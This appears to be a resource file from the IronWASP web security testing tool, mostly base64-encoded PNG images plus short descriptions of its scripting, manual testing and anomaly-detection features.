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 + +DtX2mKa7gAAAABJRU5ErkJggg== + + + + + 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 + + + + Scripting allows testers to write new vulnerability checks, custom exploits, fuzzers and automate any part of testing that requires a lot of manual effort. IronWASP has the best scripting environment in the industry with a very powerful yet simple API and support for both Python and Ruby. Use the 'Script Creation Assistant'. + + + Testing for some issues would require manually sending a request and analysing the response. This is possible using the Manual Testing feature. You can either hand-craft a request with the helpful wizard or pick an existing request from the logs, edit and send it. + + + IronWASP's vulnerability scanner automatically tries to detect vulnerabilities by sending special payloads to the application and analyzing the response. Like any vulnerability scanner IronWASP will also fail to identify some vulnerabilities this way. +But the Anomaly Detection engine of IronWASP can be used to identify vulnerabilities missed by IronWASP. This feature lists out cases where the payload sent by IronWASP caused the application to respond differently than normal. By manually analysing the payload and the application's response you can identify new vulnerabilities. + + + + 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 + 